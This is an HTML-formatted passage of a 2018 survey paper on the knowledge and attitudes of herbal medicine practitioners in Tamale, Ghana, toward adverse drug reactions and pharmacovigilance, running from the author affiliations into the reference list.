Roman,Times,serif\"><sup>2 </sup>Department of Nursing, School of Allied Health Sciences, University for Development Studies, Tamale</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>Department of Herbal Medicine, Faculty of Pharmacy and Pharmaceutical Sciences, Kwame Nkrumah University of Science and Technology, Kumasi</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>:<strong> </strong>Evans Paul Kwame Ameade, Department of Pharmacology, School of Medicine and Health Sciences, P.O. Box TL 1350, Tamale. Email: <a href=\"mailto:sokpesh@yahoo.com\">sokpesh@yahoo.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Ameade EPK, Baba MM, Iddrisu NU, Musah AA, Gbedema SY (2018) Herbal Pharmacovigilance: Are Ghanaian Herbal Medicine Practitioners Equipped Enough to Assist in Monitoring the Safety of Herbal Medicines? - A Survey in Tamale, Ghana. Chronic Complement Altern Integra Med: CCAIM-101.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>25<strong> </strong>September, 2018; <strong>Accepted Date:</strong> 13 October, 2018; <strong>Published Date:</strong> 01 November, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Background: </strong>Despite the immense positive effect medicines have had on the life of humans, they also sometimes present adverse effects which affects the health of users. With herbal medicines playing immense role in the health of persons especially those in developing countries and an upsurge of patronage in even developed countries, there is urgent need for their safety to be monitored. Herbal medicine practitioners (HMPs) needs to play leading role in pharmacovigilance of these herbal products since some are known to cause adverse drug reactions (ADRs). An adverse drug reaction is a response to a medicine which is noxious and unintended, which occurs at doses normally used in man. HMPs can only be useful in monitoring safety of herbal medicines if they are knowledgeable about ADRs and pharmacovigilance hence the need to assess the knowledge of and attitude of HMPs in the Tamale metropolis towards pharmacovigilance.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Method: </strong>Using a semi-structured questionnaire, data was collected from 27 HMPs in a cross-sectional study in the Tamale metropolis. Microsoft excel and GraphPad Version 5.01 (GraphPad Software Inc., San Diego CA) were used to analyze the data to obtain frequencies, means and their standard deviations.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results:</strong> Majority, 21 (77.8%) of HMPs acquired their knowledge and skill through apprenticeship. Herbal medicines having no or minimal harmful effect was the most stated reason, 16 (17.8%) why the HMPs recommend herbal medicines to their clients. Whereas 11 (64.7%) out of the 17 who said they knew what ADR is could completely or partially define it, only 3 (50%) of the 6 who ever heard of pharmacovigilance correctly stated what it is. The overall knowledge score of the respondents was 3.85/17 or 22.6%. The attitude score of 70.4% was recorded although only 2 (7.4%) had ever reported an incidence of ADR.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusion: </strong>Although the knowledge of HMPs was poor, they had positive attitude towards ADR reporting. Despite their good attitude towards ADR reporting, less than a tenth had ever reported an incidence of ADR. There is an urgent need for national pharmacovigilance centers to involve HMPs in the pharmacovigilance of herbal products through provision of training on pharmacovigilance which would ensure the safety of the herbal medicines they prescribe or dispense.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong><strong> </strong>Adverse Drug Reaction; Attitude; Herbal; Pharmacovigilance; Practitioner; Reporting</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Background</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The science and the art of treatment and prevention of disease is pre-historic, and man&rsquo;s relationship over time with plants has given the world enormous benefits. Written documents from many places all over the world including China, India and the Near East unequivocally showed that the use of medicinal plants as traditional remedies for numerous human diseases existed as far back as five millennia or better, it is as old as the existence of humans on earth [1]. According to the World Health Organization, (2004) Herbal Medicines (HM) include herbs, herbal materials, herbal preparations and finished herbal products [2].&nbsp; Traditional medicine&nbsp;&nbsp; which in some countries is same as complementary or alternative medicine on the other hand is the sum total of the&nbsp;&nbsp; knowledge, skills and practices based on the theories, beliefs and experiences indigenous to different cultures, whether&nbsp;&nbsp; explicable&nbsp;&nbsp; or&nbsp;&nbsp; not, used&nbsp;&nbsp;&nbsp; in&nbsp;&nbsp; the&nbsp;&nbsp; maintenance&nbsp;&nbsp;&nbsp; of&nbsp;&nbsp; health&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp; in&nbsp;&nbsp; the prevention, diagnosis, improvement or treatment of physical and mental illness [2]. &nbsp;For developing countries including those in Africa, traditional medicines continue to be used as the primary source of medicine with the WHO estimating a patronage level of up to 80% [3]. Even in developed countries, there is an increasing patronage of natural products such that in 2007, the out of pocket spending for natural products in the United State of America (USA) was US$14.8 billion [4]. Many factors may account for the use of traditional medicine including herbal medicine in developing countries. Some reason for the increasing use of herbal medicines include easy accessibility, availability, affordability, and also traditional medicines being firmly rooted in some religious and cultural practices of the people [3,5]. For developed countries, there are several reasons why their citizens still patronize traditional and complementary medicine despite their well-developed health systems available. For countries such as Singapore and Korea, the high patronage can be attributed to cultural and historical influences [5] however in many western developed countries the increasing use of complementary and alternative medicines can be attributed to concerns about the adverse effects of allopathic drugs. For persons with chronic diseases, Complementary and Alternative Medicines seem to be manage their conditions gentler than the allopathic medicines [3,5]. There is this notion among some users across the world that since herbal medicines are from natural sources, they are harmless or carry minimal risk [6,7].&nbsp; This assumption that herbal medicines unlike the orthodox medicines are without adverse effect had been proven not to be accurate. For instance, <em>Aristolochia fangchi</em> which is used in preparing Chinese slimming tea had been found to contain Aristolochic acid which is nephrotoxic [8] while Hwang et al., (2012) also found <em>Aristolchia manshuriens </em>is used in eastern Asia for arthritis among other diseases to be genotoxic [9]. <em>Ephedra sinica</em> used widely as a weight reducing dietary supplement in the USA is associated with serious cardiovascular and central nervous system adverse effects [10,11]. Garlic (<em>Allium sativum</em>) used as food condiment and for the management of hypertension and hypercholesterolemia had been reported by Borreli et al, (2007) to exhibit various adverse effects including allergic reactions, changes in platelet function and coagulation [12]. During the development of allopathic medicines, an indispensable stage is the clinical trial during which useful adverse effects are identified. Some of the adverse effects attributed to these allopathic medicines were detected when they were being used by large populations through a formal process of drug safety monitoring known as pharmacovigilance. Pharmacovigilance (PV) is the science and activities relating to the detection, assessment, understanding and prevention of adverse effects or any other possible drug-related problems [2]. Adverse drug reaction monitoring or surveillance can be classified into prospective and retrospective. For prospective ADR monitoring, patients prone to ADR or those given medicines which have high potential to cause ADR are monitored while retrospective monitoring is done by review of medical reports for ADRs [13]. Spontaneous reporting is the most effective method of drug safety monitoring which is a form of concurrent surveillance which involves health professionals such as physicians, pharmacists, nurses among others indicating suspected ADRs on standardized forms which are then sent to national pharmacovigilance centers where association between the drug and the effect is confirmed [13,14].The health and cost implications of adverse effects of allopathic medicines as reported in developed countries is enormous.&nbsp; In Singapore, ADR related hospital admissions were 12.4% [15] while the prevalence rate in the UK is 6.5% costing the health system an estimated &pound;466 million [16]. With a prevalence rate of 4.2-30% in the United States of America, the cost of management and impact of ADRs is estimated at 30.1 billion dollars annually [17].&nbsp; If the well-researched and tested allopathic medicines are found to be responsible for significant adverse effects and deaths, then harmful effects of herbal preparations could be enormous. Herbal pharmacovigilance is of great important such that the WHO is recommending to all countries to take steps to monitor herbal medicine and their related adverse effects [2]. There are however challenges with monitoring safety of herbal medicines. These include diversity of naming systems and difficulty in validating the botanical identity of the ingredients in herbal medicines which are be several unlike the single compounds in most allopathic medicines [18].&nbsp; Even if the ingredients in a plant material are identified and quantified, several factors such as geographical source, plant part used, period and conditions of harvesting, as well as process of storage, process and extractions can all affect the qualitative and qualitative chemical profile of herbal medicines [18].&nbsp; Despite these challenges poses by herbal medicines, there is the need for efforts to be made to monitor them considering the widespread patronage of this form of traditional medicine. However, training programmes on pharmacovigilance targets physician, dentists, pharmacists and nurses without involving herbal medicine practitioners [2]. For national pharmacovigilance centers to make gains in the reporting of herbal medicine induced ADRs, manufacturers, prescribers and dispensers of herbal medicine would have to be brought on board [2]. Effectiveness of spontaneous reporting of medicines is better achieved when health professionals are knowledgeable about ADRs and the reporting system [18]. To ascertain the preparedness of Ghanaian herbal medicine practitioners to play effective roles in herbal pharmacovigilance, it is imperative to measure their knowledge on adverse drug reaction and pharmacovigilance and their attitude towards pharmacovigilance which led&nbsp;to this study to be conducted in Tamale, the only city in northern Ghana.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Method </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.</strong>&nbsp;<strong>Informed Consent</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At the start of the administration of the questionnaire, the HMPs were told in the language they best understand that they were not under any compulsion to participate in the study and that by collecting and completing the questionnaire or by participating in the interview they had given their consent to be part of the study. Similar information about consent was also provided in the introductory section of the questionnaire for those who are literates.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.</strong>&nbsp;<strong>Ethics Approval</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The Ethics Committee of the School of Medicine and Health Sciences of the University for Development Studies, Tamale, gave approval for this study.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3.&nbsp;Study Design and Setting</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A cross-sectional study involving herbal medicine practitioners (HMPs) in the Tamale metropolis was conducted between 5<sup>th</sup> and 27<sup>th</sup> April, 2017.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4</strong><strong>.4.&nbsp;Study Population</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The list of HMPs was obtained from the northern regional office of the Traditional Medicine Practice Council office in Tamale. The HMPs were then contacted by telephone with a total of 35 of them confirming that they were practicing their profession in the Tamale metropolis. A total of five were involved in the piloting of the questionnaire and were therefore not included in the final data collection. Completed questionnaires were received from 27 of the 30 other HMPs who were eligible for the study.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5.&nbsp;Study Instrument</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A self-administered semi-structured questionnaire was given to literate HMPs while a questionnaire guided face-to-face interview was applied to those who were not literates. Pretesting of the questionnaires ensured there was correction of ambiguous and inconsistent questions. The authors reviewed the questionnaire to ensure face validity of the data collecting tool. The 57 questions presented in the questionnaire consist of 34 closed ended with 23 opened ended ones. The questionnaire was divided into four sections: section A of the contained questions on the demographic characteristics of practitioners, section B on issue related to their practice of herbal medicine, section C focused on knowledge of herbal practitioners on adverse drug reactions and pharmacovigilance while section D of the contained questions about the attitude of herbal practitioners towards adverse drug reactions reporting.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.6.&nbsp;Study Variable Measurements</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Knowledge of the HMP on adverse drug reaction and pharmacovigilance was based on 17 questions. Depending on the level of effort required in answering the questions, knowledge questions were scored between 1 and 2 with wrong or &lsquo;don&rsquo;t know&rsquo; answer attracting no score. The overall knowledge score was 17. Respondents&rsquo; attitude towards ADR reporting was also assessed with 7 questions. Assessment of respondents&rsquo; attitude towards ADR reporting involved the use of a 5-points Likert score made up of strongly agree, agree, neutral, disagree, and strongly disagree. An option of &lsquo;don&rsquo;t know was also added. &nbsp;Scores for the Likert scale were strongly agree, 5; agree, 4; not sure, 3; disagree, 2; and strongly disagree, 1 for attitude questions &ldquo;It is important to report any ADR; providing me with training on pharmacovigilance is appropriate; reporting ADR ensures patient safety; reporting ADR is my professional duty and reporting ADR should be compulsory&rdquo;. However, the questions &ldquo;All reported ADRs should be paid for and only serious and unexpected reactions should be reported&rdquo; had strongly agree, agree, not sure, disagree and strongly disagree points allocated 1, 2, 3, 4 and 5 scores respectively. &lsquo;Don&rsquo;t know&rsquo; response, scores 0.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.7.&nbsp;Statistical Analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Data was entered into Microsoft Excel, and analyzed using Graph Pad Prism, Version 5.01 (Graph Pad Software Inc., San Diego CA). &nbsp;Mean knowledge and attitude scores and their standard deviations were calculated.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.&nbsp;</strong><strong>Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.1.&nbsp;Socio-Demographic Characteristics Of Respondents</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Majority, 23 (85.2%) of the respondents were males, 17 (63.0%) practiced Islamic religion, 19 (70.4%) were married, 14 (51.9%) were between the ages of 30 and 39 years and 16 (59.3%) had tertiary level education. Most of them, 11(40.7%) grew up in towns in Ghana. Again, majority, 8 (61.5%, n =13) of respondents had obtained diploma as their highest level of educational qualification, 18 (66.7%) had practiced herbal medicine for less than 10 years and, 18 (66.7%) practice both prescribing and dispensing of herbal preparations to their clients. Just, 9 (33.3%) were involve in only dispensing of herbal products. Skills for the practice of herbal medicine was acquired by the majority, 21 (77.8%) through apprenticeship under a senior herbalist with only 1 (3.7%) trained formally as a medical herbalist in Kwame Nkrumah University of Science and Technology. Table 1 shows the demographic characteristics of respondents in this study.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.2.&nbsp;Reasons for Herbal Medicine Practitioner Recommending Herbal Medicines </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Table 2 shows the reasons why the herbal medicine practitioners would recommend herbal medicines to their patrons. The top six reasons were: No or minimal harmful effect, 16 (17.8%); more effective, 13 (14.4%); affordable, 13 (14.4%); accessible, 11 (12.2%); cures all diseases, 11 (12.2%) and no chemical components, 7 (7.8%).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.3.&nbsp;Number of Clients Attended to Daily by The HMPs </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Majority, 16 (59.3%) of herbal medicine practitioners attend to between 6 and 10 clients in a day.&nbsp; Three (11.5%) HMPs attend to between 16 and 20 patients daily. The number of clients HMPs attend to daily is shown in figure 1.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.4.&nbsp;Knowledge of Herbal Medicine Practitioners on Adverse Drug Reaction and Pharmacovigilance</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Table 3 shows the assessment of the knowledge of the HMPs on adverse drug reactions and pharmacovigilance. Majority, 19 (70.4%) have heard of Adverse Drug Reaction (ADR) but a lesser number of 17 (63.0%) stated they knew what ADR was. However, for those who claimed knowing what ADR was, 6 (25.3%) could not fully or partially define what it was. The score for the definition of ADR was just 0.556 out of 2 (27.8%). Majority, 19 (70.4%) did not know that ADR and Side effect (SE) were not the same and for those who said they are not same, majority, 5 (62.5%) could not clearly state the difference between ADR and SE. None of the respondents was able to state the number of types of ADR and only 1(3.7%) person was able to list a type of ADR.&nbsp; Majority, 16 (59.3%) said herbal medicines do not cause ADR. On pharmacovigilance, 7 (25.0%) have heard of it with 6 (22.2%) claimed to know what it is. Of those who said they knew what pharmacovigilance is, 3 (50%) could not explain the term. Only 1 (3.7%) knew that Sweden is the host of the international center for pharmacovigilance. Majority, 23 (85.2%) were not even aware of existence of a national center for pharmacovigilance in Ghana. For those who were aware of Ghana&rsquo;s national center for pharmacovigilance, 2 (50.0%) did not know, it is the Food and Drugs Authority (FDA) of Ghana that coordinates issues on pharmacovigilance in Ghana.&nbsp; Majority, 17 (63.0%) did not know that ADR is a major cause of deaths across the world. Again, majority, 15 (55.6%) did not know that many ADRs are preventable. The mean knowledge score of the respondents about ADR and pharmacovigilance was 3.85&plusmn;3.30 (22.6%).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.5.&nbsp;HMPs Ever Seeing an ADR Form</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The possibility of respondents ever seeing an adverse drug reaction form is shown in figure 2. Majority, 25 (93.0%) of the HMPs had never seen an ADR form.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.6.&nbsp;Training of HMPs on Pharmacovigilance and Reporting of ADRs</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Majority, 25 (92.6%) of the respondent had never attended any training on pharmacovigilance with only 2 (7.4%) ever being trained at a workshop organized by Ghana FDA/WHO. Of the two that were trained, only 1 (50.0%) ever reported ADR since they were trained. Majority, 25 (92.6%) of the respondents had never reported any case of ADRs. Just 1 (3.7%) of the respondents ever verbally reported a case of ADR to the FDA. Majority, 16 (64.0%) of respondents did not state their reason for not reporting any ADR but 4 (16.0%) said they did not know where to report a case of ADR. The level of training of HMP on pharmacovigilance and their reporting of ADRs is shown in Table 4.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.7.&nbsp;</strong><strong>Types of Herbal Products Provided by Practitioners and Their Encounter with Side Effects</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Majority, 24 (88.9%) of the HMPs dispensed prepackaged herbal medications, 2 (7.4%) dispense both prepackaged herbal medicine and raw plants while only 1 (3.7%) dispense raw plants materials. Majority, 22 (81.5%) believe that herbal medications have no side effects. Table 5 shows they types of herbal medicine products supplied by the herbal medicine practitioners and incidence of side effects.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.8.&nbsp;Herbal Medicine Practitioners&rsquo; Attitude Towards Reporting of ADRs</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Up to 10 (37%) of respondents strongly agreed that ADR reporting is important but the mean score was 70.4%. With a mean score of 80.0%, majority 17(63.0%) of respondents strongly agreed to being provided with training on pharmacovigilance. As to whether reporting ADRs should be paid for, majority 15(55.6%) of respondents were not sure with a mean score of 63.0% however, a greater proportion 14 (51.9%) of respondents agreed that ADR reporting should be compulsory with a mean score of 70.4%. With a mean score of 84.4%, most 13(48.1%) respondents strongly agreed that reporting ADR ensures patient safety. As to whether ADR reporting is a professional duty, only 6 (22.2%) strongly agreed but the mean score was 71.2%. The overall mean attitude score of the respondents towards ADR reporting was 3.52&plusmn;0.78 (70.4%). Table 6 shows the attitude of herbal medicine practitioners towards ADR reporting.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.&nbsp;</strong><strong>Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Medicines have been helpful in increasing lifespan and quality of life of humans but they can as well cause great discomfort and even death during their use. Since medicines can cause unpleasant effects on man, it is imperative that their safety is continually monitored through pharmacovigilance. This study found 81.5% of HMPs making the claim that herbal medicines have no adverse effect compared to between 74.3% and 85.8% reported in several other studies [19-21].&nbsp; Again, in this study, the most important reason why HMPs recommend herbal medicines to clients was because they have no or minimal harmful effects. For such a high proportion of practitioners of the highly patronized herbal products to have this notion contrary to several reports of harmful effects of herbal medicines means much needs to be done to identify and manage safety issues related to the use of plant products for healthcare. What might have compounded the belief that herbal products are harmless is the lack of knowledge about ADRs and pharmacovigilance among practitioners of herbal medicine. The result from this study have proven that HMPs really lack knowledge of ADR and PV as they scored 3.85/17 or 22.6%.&nbsp; Similar studies in India among practitioner of Ayurveda also found them to possess poor knowledge of ADR and PV [20-22]. Whereas 38.2% respondents in the study by Bhanu et al., (2016), and 28.3% in Rajesh et al., (2016) both in India have heard of pharmacovigilance, this study recorded only 25.9% [20,21]. Again, whereas respondents in the study by Arun et al., (2015) in Odisha, India scored 41.2%&nbsp;&nbsp; and 36.5% respectively for the correct definition of ADR and PV, this study recorded 27.8% for ADR and 13.0% for PV [22]. The knowledge level of Ayurveda physicians seems higher than the HMPs in this study. This is understandable because the Ayurveda physician obtained graduate level Bachelor of Ayurvedic Medicine and Surgery in universities in India [23] but all the HMPs in this study except one hold a degree in Herbal medicine. During the training of the Ayurveda physicians they may have had some lessons in ADR and pharmacovigilance but probably was not enough to give them a better appreciation of drug safety monitoring. Some studies among conventionally trained health care professionals such as medical doctors, pharmacists, as well as nurses who had university level education also recorded inadequate knowledge of ADR. Oshikoya and Awobusuyi, (2009) reported inadequate knowledge about ADR among Nigerian doctors while Charles et al., (2017) found that except the pharmacist, other health care professionals including the doctors had less than 50% knowledge on pharmacovigilance [24,25]. Despite the low knowledge of HMPs on ADRs and PV, they have a positive attitude towards pharmacovigilance with a mean score of 70.4% which was better than the poor attitude found in studies by Bhanu et al., (2016) and Rajesh et al., (2016) among Ayurveda physicians [20,21].&nbsp; Just as reported by Arun, et al., (2015) more than two-thirds of the HMPs were of the view that reporting of ADRs was necessary unlike the 12.5% reported in Rajesh et al., (2016) study [21,22]. Reporting of ADRs to National Pharmacovigilance Centres have been a challenge even for allopathic doctors [24,26,27] hence the 2 (7.4%) reported in this study and none in the studies by Arun et al., (2015), and Awodele, et al., (2013) as well as 0.8% reported by Rajesh et al., (2016) is not surprising [19,21,22]. How can healthcare professional report when they have not been trained on PV or seen ADR forms? In this study at least 2 (7.4%) of the HMPs have ever seen an ADR form which is better than the study by Arun et al., in which none of the Ayurveda physicians was familiar with an ADR form.&nbsp; For one out of the two who were trained on pharmacovigilance in this study to report a case of ADR to the FDA within 6 months of training shows that when healthcare professionals are trained, more spontaneous reports of ADR would be recorded. Level of training of HMPs by national pharmacovigilance centers is not encouraging across the world with Arun et al., (2015) and Rajesh et al., (2016) reporting 4.7% and 6.7% respectively [21,22].&nbsp; This probably showed that NPCs across the world including Europe [18] do not recognize HMPs as ADR reporters.&nbsp;&nbsp; Majority of HMPs in this study attend to at most 10 clients a day, so would possibly attend to close to 3000 patrons in a year and such a number would have to be protected from the possible ADR by training the HMPs to pick up suspected cases of ADR for onward transmission of the information to the National Pharmacovigilance Centre in Ghana. With 96.3% of the HMP dispensing or prescribing pre-packaged herbal product means manufacturers of herbal products can also be trained on adverse drug reactions and pharmacovigilance so they can warn users of these products of possible adverse effects of their drugs. The limitation of this study is that it was carried out in Tamale and may not be representative of the whole country. With several of the respondents being illiterate or had only basic level education, there was the need for the investigators to interpret or explain some of the questions to them and this can invariably affect their responses. Despite these limitations, this study being the first among HMPs in Northern Ghana, should inform National Pharmacovigilance Centers to appreciate the need for some training on pharmacovigilance of this important healthcare personnel to they can assist in the monitoring of safety of herbal products which would continue to place valuable role in the health of ever-increasing number of patrons.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Knowledge of HMPs in Tamale on ADRs and pharmacovigilance is low but their attitude score of 70.4% can be considered as good. Majority of the HMPs had not been trained on pharmacovigilance and have never seen an ADR form which limits their ability to help in the monitoring the safe use of herbal products.&nbsp;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Acknowledgements</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Authors wish to acknowledge the role the staff of the Traditional Medicine Practice Council office in Tamale, and all the herbal medicine practitioners who ensured the success of the study.&nbsp; I, Evans Paul Kwame Ameade (the lead author) affirm that I have listed persons or agencies who contributed significantly to this study to be named authors or acknowledge for their contribution.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>9. Authors&#39; Contributions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Conceived the idea, and analyzed the data: EPKA Developed the questionnaire, piloted it, collected the data, and were part of drafting of manuscript: EPKA MMB NUI AAM. Drafting of manuscript: SYG EPKA.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Misra L (2013) A review on traditional phytomedicinal systems, scientific validations and current popularity as nutraceuticals. International Journal of Traditional and Natural Medicines 2: 27-75.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://apps.who.int/iris/bitstream/handle/10665/43034/9241592214_eng.pdf;jsessionid=74482118E2CF3844621A2739CABFA895?sequence=1\">World Health Organization (2004) WHO guidelines on safety monitoring of herbal medicines in pharmacovigilance systems.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://apps.who.int/iris/bitstream/handle/10665/67163/WHO_EDM_TRM_2002.1_eng.pdf.%20Accessed%2025%20Jan%202018?sequence=1\">World Health Organization (2002) Traditional Medicine Strategy 2002 - 2005. WHO/EDM/TRM/2002 1. Geneva: WHO.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19771719\">Nahin RL, Barnes PM, Stussman BJ, Bloom B (2009) Costs of complementary and alternative medicine (CAM) and frequency of visits to CAM practitioners: United States, 2007. Natl Health Stat Report 18: 1-14.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://apps.who.int/iris/bitstream/handle/10665/92455/9789241506090_eng.pdf.%20Accessed%2025%20Jan%202018?sequence=1\">World Health Organization. Traditional Medicine Strategy 2014 - 2023.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21771442\">Tamuno I (2011) Traditional medicine for HIV infected patients in antiretroviral therapy in a tertiary hospital in Kano, Northwest Nigeria. Asian Pacific journal of tropical medicine 4: 152-155.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.iiste.org/Journals/index.php/JBAH/article/view/3669\">Mensah CM, Gyasi RM (2012) Use of herbal medicine in the management of malaria in the urban-periphery, Ghana. Journal of Biology, Agriculture and Healthcare 2: 113-122.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk504705879\"></a><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18418355\">Debelle FD, Vanherweghem JL, Nortier JL (2008) Aristolochic acid nephropathy: a worldwide problem. Kidney international 74: 158-169.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.hindawi.com/journals/ecam/2012/412736/\">Hwang YH, Kim T, Cho WK, Yang HJ, Kwak DH, et al. (2012) <em>In vitro</em> and <em>in vivo</em> genotoxicity assessment of Aristolochia manshuriensis Kom. Evidence-Based Complementary and Alternative Medicine.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18756018\">Hallas J, Bjerrum L, St&oslash;vring H, Andersen M (2008) Use of a prescribed ephedrine/caffeine combination and the risk of serious cardiovascular events: a registry-based case-crossover study. American journal of epidemiology 168: 966-973.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://tmu.pure.elsevier.com/en/publications/effects-of-ephedra-on-autonomic-nervous-modulation-in-healthy-you\">Chen WL, Tsai TH, Yang CC, Kuo TB (2010) Effects of ephedra on autonomic nervous modulation in healthy young adults. Journal of ethnopharmacology 130: 563-568.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/mnfr.200700072\">Borrelli F, Capasso R, Izzo AA (2007) Garlic (<em>Allium sativu</em>m L.): adverse effects and drug interactions in humans. Molecular nutrition &amp; food research 51: 